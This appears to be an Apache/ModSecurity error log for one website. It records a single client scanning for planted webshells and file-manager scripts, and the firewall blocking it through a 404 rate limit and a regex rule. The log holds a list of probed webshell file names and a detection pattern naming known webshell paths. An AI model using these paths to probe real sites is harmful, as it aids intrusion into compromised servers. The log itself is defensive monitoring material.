[Thu May 07 08:34:12.615698 2026] [:error] [pid 56066:tid 56142] [client 20.104.207.18:63540] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "afveBEYS8DGwDvklLv5wjQAAANM"]
[Thu May 07 08:34:13.096896 2026] [:error] [pid 56150:tid 56176] [client 20.104.207.18:63564] File does not exist: /usr/local/apache/htdocs/suspended-page/xper1.php
[Thu May 07 08:34:13.302900 2026] [:error] [pid 56150:tid 56165] [client 20.104.207.18:63564] [client 20.104.207.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "afveBdu4duXJJeTigXTYWQAAAE0"]
[Thu May 07 08:34:13.742345 2026] [:error] [pid 56065:tid 56104] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Thu May 07 08:34:13.950949 2026] [:error] [pid 56065:tid 56098] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/s1.php
[Thu May 07 08:34:14.160301 2026] [:error] [pid 56065:tid 56118] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/de.php
[Thu May 07 08:34:14.371631 2026] [:error] [pid 56065:tid 56113] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/axe.php
[Thu May 07 08:34:14.588080 2026] [:error] [pid 56065:tid 56115] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/roksad1.php
[Thu May 07 08:34:14.804307 2026] [:error] [pid 56065:tid 56097] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/aj11.php
[Thu May 07 08:34:15.012739 2026] [:error] [pid 56065:tid 56101] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/yuzuru1.php
[Thu May 07 08:34:15.221046 2026] [:error] [pid 56065:tid 56102] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/1a.php
[Thu May 07 08:34:15.430786 2026] [:error] [pid 56065:tid 56117] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/gelio1.php
[Thu May 07 08:34:15.640043 2026] [:error] [pid 56065:tid 56119] [client 20.104.207.18:63572] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Thu May 07 08:34:15.845739 2026] [:error] [pid 56065:tid 56109] [client 20.104.207.18:63572] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "afveB3dV4hYThdnhfxCofQAAAI0"]
[Thu May 07 08:34:16.272094 2026] [:error] [pid 56064:tid 56080] [client 20.104.207.18:53376] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "afveCCsGkZZUEf_7QCP7DgAAAAs"]
[Thu May 07 08:34:16.690083 2026] [:error] [pid 56064:tid 56071] [client 20.104.207.18:53455] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "afveCCsGkZZUEf_7QCP7DwAAAAI"]
[Thu May 07 08:34:17.109292 2026] [:error] [pid 56064:tid 56070] [client 20.104.207.18:63609] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "afveCSsGkZZUEf_7QCP7EAAAAAE"]
[Thu May 07 08:34:17.521852 2026] [:error] [pid 56066:tid 56123] [client 20.104.207.18:53423] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "afveCUYS8DGwDvklLv5wkwAAAMA"]
[Thu May 07 08:34:17.940417 2026] [:error] [pid 56066:tid 56130] [client 20.104.207.18:49643] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "afveCUYS8DGwDvklLv5wlAAAAMc"]
[Thu May 07 08:34:18.355013 2026] [:error] [pid 56066:tid 56147] [client 20.104.207.18:49652] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "afveCkYS8DGwDvklLv5wlQAAANg"]
[Thu May 07 08:34:18.766626 2026] [:error] [pid 56066:tid 56145] [client 20.104.207.18:53431] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sky.php"] [unique_id "afveCkYS8DGwDvklLv5wlwAAANY"]
[Thu May 07 08:34:19.182165 2026] [:error] [pid 56066:tid 56129] [client 20.104.207.18:63499] [client 20.104.207.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "afveC0YS8DGwDvklLv5wmAAAAMY"]
[Thu May 07 08:34:21.134636 2026] [:error] [pid 56150:tid 56170] [client 20.104.207.18:63602] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "afveDdu4duXJJeTigXTYZgAAAFI"]
[Thu May 07 08:34:21.551267 2026] [:error] [pid 56150:tid 56159] [client 20.104.207.18:49557] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "afveDdu4duXJJeTigXTYaAAAAEc"]
[Thu May 07 08:34:21.991571 2026] [:error] [pid 56150:tid 56175] [client 20.104.207.18:63567] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "afveDdu4duXJJeTigXTYagAAAFc"]
[Thu May 07 08:34:22.465086 2026] [:error] [pid 56066:tid 56135] [client 20.104.207.18:53495] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "afveDkYS8DGwDvklLv5wmwAAAMw"]
[Thu May 07 08:34:23.024453 2026] [:error] [pid 56065:tid 56112] [client 20.104.207.18:63542] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "afveD3dV4hYThdnhfxCoigAAAJA"]
[Thu May 07 08:34:23.570568 2026] [:error] [pid 56150:tid 56171] [client 20.104.207.18:49631] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "afveD9u4duXJJeTigXTYbwAAAFM"]
[Thu May 07 08:34:24.081884 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:49616] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "afveENu4duXJJeTigXTYcgAAAEw"]
[Thu May 07 08:34:24.631007 2026] [:error] [pid 56066:tid 56128] [client 20.104.207.18:53414] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "afveEEYS8DGwDvklLv5wngAAAMU"]
[Thu May 07 08:34:25.370419 2026] [:error] [pid 56150:tid 56153] [client 20.104.207.18:53453] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "afveEdu4duXJJeTigXTYdwAAAEE"]
[Thu May 07 08:34:25.900888 2026] [:error] [pid 56150:tid 56159] [client 20.104.207.18:63570] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "afveEdu4duXJJeTigXTYegAAAEc"]
[Thu May 07 08:34:26.370859 2026] [:error] [pid 56150:tid 56152] [client 20.104.207.18:63606] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Sanskrit.php"] [unique_id "afveEtu4duXJJeTigXTYewAAAEA"]
[Thu May 07 08:34:26.945282 2026] [:error] [pid 56064:tid 56082] [client 20.104.207.18:63608] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "afveEisGkZZUEf_7QCP7EQAAAA0"]
[Thu May 07 08:34:27.798534 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:63577] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "afveE9u4duXJJeTigXTYggAAAEw"]
[Thu May 07 08:34:28.390109 2026] [:error] [pid 56150:tid 56157] [client 20.104.207.18:63578] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "afveFNu4duXJJeTigXTYhAAAAEU"]
[Thu May 07 08:34:29.169918 2026] [:error] [pid 56065:tid 56101] [client 20.104.207.18:53440] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "afveFXdV4hYThdnhfxCojQAAAIU"]
[Thu May 07 08:34:29.757821 2026] [:error] [pid 56066:tid 56147] [client 20.104.207.18:53479] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "afveFUYS8DGwDvklLv5wqQAAANg"]
[Thu May 07 08:34:30.781655 2026] [:error] [pid 56066:tid 56134] [client 20.104.207.18:53383] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "afveFkYS8DGwDvklLv5wsQAAAMs"]
[Thu May 07 08:34:31.728746 2026] [:error] [pid 56064:tid 56079] [client 20.104.207.18:49622] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "afveFysGkZZUEf_7QCP7GAAAAAo"]
[Thu May 07 08:34:32.335123 2026] [:error] [pid 56064:tid 56073] [client 20.104.207.18:63590] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ms-edit.php"] [unique_id "afveGCsGkZZUEf_7QCP7GQAAAAQ"]
[Thu May 07 08:34:32.870614 2026] [:error] [pid 56065:tid 56105] [client 20.104.207.18:63615] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "afveGHdV4hYThdnhfxCokAAAAIk"]
[Thu May 07 08:34:33.582890 2026] [:error] [pid 56065:tid 56099] [client 20.104.207.18:53408] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "afveGXdV4hYThdnhfxCokwAAAIM"]
[Thu May 07 08:34:34.778191 2026] [:error] [pid 56064:tid 56089] [client 20.104.207.18:53450] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "afveGisGkZZUEf_7QCP7HQAAABQ"]
[Thu May 07 08:34:35.423029 2026] [:error] [pid 56065:tid 56116] [client 20.104.207.18:49615] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "afveG3dV4hYThdnhfxColwAAAJQ"]
[Thu May 07 08:34:35.847949 2026] [:error] [pid 56150:tid 56162] [client 20.104.207.18:49548] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "afveG9u4duXJJeTigXTYkQAAAEo"]
[Thu May 07 08:34:36.386867 2026] [:error] [pid 56150:tid 56169] [client 20.104.207.18:53494] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "afveHNu4duXJJeTigXTYlAAAAFE"]
[Thu May 07 08:34:36.808592 2026] [:error] [pid 56150:tid 56153] [client 20.104.207.18:53390] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "afveHNu4duXJJeTigXTYlgAAAEE"]
[Thu May 07 08:34:37.269080 2026] [:error] [pid 56064:tid 56074] [client 20.104.207.18:53399] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "afveHSsGkZZUEf_7QCP7HgAAAAU"]
[Thu May 07 08:34:37.714604 2026] [:error] [pid 56150:tid 56155] [client 20.104.207.18:53497] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "afveHdu4duXJJeTigXTYmAAAAEM"]
[Thu May 07 08:34:38.185477 2026] [:error] [pid 56150:tid 56171] [client 20.104.207.18:49650] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "afveHtu4duXJJeTigXTYmgAAAFM"]
[Thu May 07 08:34:38.616147 2026] [:error] [pid 56066:tid 56127] [client 20.104.207.18:49648] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "afveHkYS8DGwDvklLv5w0gAAAMQ"]
[Thu May 07 08:34:39.047789 2026] [:error] [pid 56065:tid 56107] [client 20.104.207.18:53392] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "afveH3dV4hYThdnhfxComgAAAIs"]
[Thu May 07 08:34:39.558727 2026] [:error] [pid 56064:tid 56093] [client 20.104.207.18:49619] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "afveHysGkZZUEf_7QCP7IAAAABg"]
[Thu May 07 08:34:40.003692 2026] [:error] [pid 56064:tid 56080] [client 20.104.207.18:63595] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "afveICsGkZZUEf_7QCP7IQAAAAs"]
[Thu May 07 08:34:40.448118 2026] [:error] [pid 56065:tid 56101] [client 20.104.207.18:49636] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "afveIHdV4hYThdnhfxCooAAAAIU"]
[Thu May 07 08:34:40.882587 2026] [:error] [pid 56065:tid 56103] [client 20.104.207.18:49628] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ganja.php"] [unique_id "afveIHdV4hYThdnhfxCooQAAAIc"]
[Thu May 07 08:34:41.361358 2026] [:error] [pid 56150:tid 56167] [client 20.104.207.18:63543] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "afveIdu4duXJJeTigXTYngAAAE8"]
[Thu May 07 08:34:41.810815 2026] [:error] [pid 56150:tid 56166] [client 20.104.207.18:53439] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "afveIdu4duXJJeTigXTYoQAAAE4"]
[Thu May 07 08:34:42.329766 2026] [:error] [pid 56064:tid 56091] [client 20.104.207.18:53418] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "afveIisGkZZUEf_7QCP7JgAAABY"]
[Thu May 07 08:34:42.770715 2026] [:error] [pid 56150:tid 56152] [client 20.104.207.18:53397] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pp.php"] [unique_id "afveItu4duXJJeTigXTYqQAAAEA"]
[Thu May 07 08:34:43.216429 2026] [:error] [pid 56065:tid 56096] [client 20.104.207.18:53430] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "afveI3dV4hYThdnhfxCoqAAAAIA"]
[Thu May 07 08:34:43.695499 2026] [:error] [pid 56150:tid 56164] [client 20.104.207.18:49659] [client 20.104.207.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/card.php"] [unique_id "afveI9u4duXJJeTigXTYtAAAAEw"]
